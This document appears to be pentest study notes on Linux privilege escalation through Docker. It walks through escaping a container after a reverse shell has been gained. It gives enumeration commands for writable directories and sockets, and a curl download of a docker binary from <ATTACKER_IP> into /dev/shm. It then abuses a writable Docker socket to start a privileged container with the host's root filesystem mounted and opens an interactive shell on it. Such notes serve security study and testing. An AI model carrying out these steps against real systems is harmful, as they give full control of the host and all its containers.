PRIMARY CATEGORY → LINUX PRIVESC
LXD | LXC
LXD Group
Docker
Docker Shared Directories
It’s important to take into account the presence of shared directories or volume mounts within the container itself
This type of feature allows that specific directories or files in the host system are accesible from the container
So, a system administrator or devops could have set up a shared directory between the host system and the container during the creation of the latter
Therefore, let’s suppose we have compromised a given web application and stablished a remote connection to the target through a Reverse Shell, let’s say by leveraging an arbitrary File Upload
In this case the web application was deployed using a docker container, so we have landed within a container file system
However, one of the first things we need to do from an attacker’s perspective when enumerating a docker container is to look for non-standard directories, as these are likely to be shared directories between the host system or other containers and the container in question
So, we could start by listing the content of the container’s root directory
ls -l /Similarly, we could list a two-level structure of directories that we can access with the current user
find / -maxdepth 2 \( -path '/usr' -o -path '/opt' -o -path '/proc' \) -prune -o -perm -0001 -type d 2> /dev/nullDocker Sockets
Enumeration
Continuing with the previous example, imagine we do not find any shared directories within the docker container, the next thing we can try is to look for any existing socket in the container
We may find that the Docker Daemon’s Socketis accesible from the container due to a misconfiguration or an oversight
If we have write permissions over the socket, we could use the docker client to send requests to the Docker Daemon’s API REST through the socket in order to be able to create new containers or manage the existing ones
We may have write permissions on the Docker Socket it the webapp runs as the container’s ROOT user ( Host’s Root ↔ UID 0 ↔ Container’s Root )
So first, we can proceed as follows to list the available sockets in the system
find / -type s -ls 2> /dev/nullWe could refine the search a little further by issuing the following command
find / -type s -writable -ls 2> /dev/null
find / -iname '*docker*' -type s -writable -ls 2> /dev/nullOnce we find out the given Docket socket for which we have write permissions, we should check if a docker client is available in the container, otherwise we would have to transfer one to the container
command -V dockerIf there is no docket client, just proceed as follows
From the Attacker⚔️
curl --silent --location --request GET --remote-name 'https://master.dockerproject.com/linux/x86_64/docker'python3 -m http.server 80From the Target 🎯
cd /dev/shm && curl --silent --location --request GET --remote-name 'http://<ATTACKER_IP>/docker'chmod 700 ./docker && ./docker --versionAbuse
With a docker client available and write permissions over the Docker Socket, we could create a new docker container and set up a bind mount to make the host’s file system accesible from the container in question
- Creating the Docker Container
/dev/shm/docker --host unix:///app/docker.sock run --rm --detach --privileged --volume /:/hostsystem main_app- Listing the existing Docker Containers
/dev/shm/docker --host unix:///app/docker.sock ps- Accessing the Host’s Filesytem from the created Docker Container
/dev/shm/docker --host unix:///app/docker.sock exec --interactive --tty <CONTAINER_ID> /bin/bashInside the Docker Container
cd /hostssystemFrom here, we can perform any action to the host’s file system i.e. we have compromised the entire machine and its containers
Docker Group
K8S
See Abusing KS8